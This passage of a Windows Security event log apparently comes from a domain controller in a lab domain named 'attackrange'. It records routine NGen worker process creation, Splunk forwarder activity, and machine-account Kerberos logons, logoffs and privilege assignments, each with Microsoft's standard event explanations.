	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x3f4
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2fc -InterruptEvent 0 -NGENProcess 33c -Pipe 370 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:06:54 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254801
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10f0
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 358 -InterruptEvent 0 -NGENProcess 310 -Pipe 294 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:06:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=254805
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1D4A09

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:06:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=254804
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x1D4A09
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		62510

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:06:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=254803
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1D4A09

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:06:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=254811
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1D4C71

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:06:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=254810
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x1D4C71
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		62514

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:06:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=254809
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1D4C71

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:06:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=254808
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1D4C05

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:06:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=254807
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x1D4C05
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		62513

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:06:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=254806
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1D4C05

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:07:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254812
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x129c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 380 -InterruptEvent 0 -NGENProcess 348 -Pipe 34c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254813
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc8c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2bc -InterruptEvent 0 -NGENProcess 360 -Pipe 300 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254826
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x968
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=254825
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1D6AE1

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:07:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=254824
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1D6BEF

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:07:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=254823
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1D6C38

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:07:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=254822
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x1D6CE0
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{250C95BA-D7BE-68DE-E803-AA7B4845FE00}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		62519

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:07:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=254821
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1D6CE0

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:07:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=254820
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		WIN-DC-725$@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{B2C2E0E9-929A-C511-E973-355DB274D318}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40800000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/12/2021 12:07:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=254819
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x1D6C38
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		62518

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:07:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=254818
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1D6C38

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:07:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=254817
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x1D6BEF
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		0

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:07:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=254816
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1D6BEF

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:07:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=254815
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x1D6AE1
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		62517

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
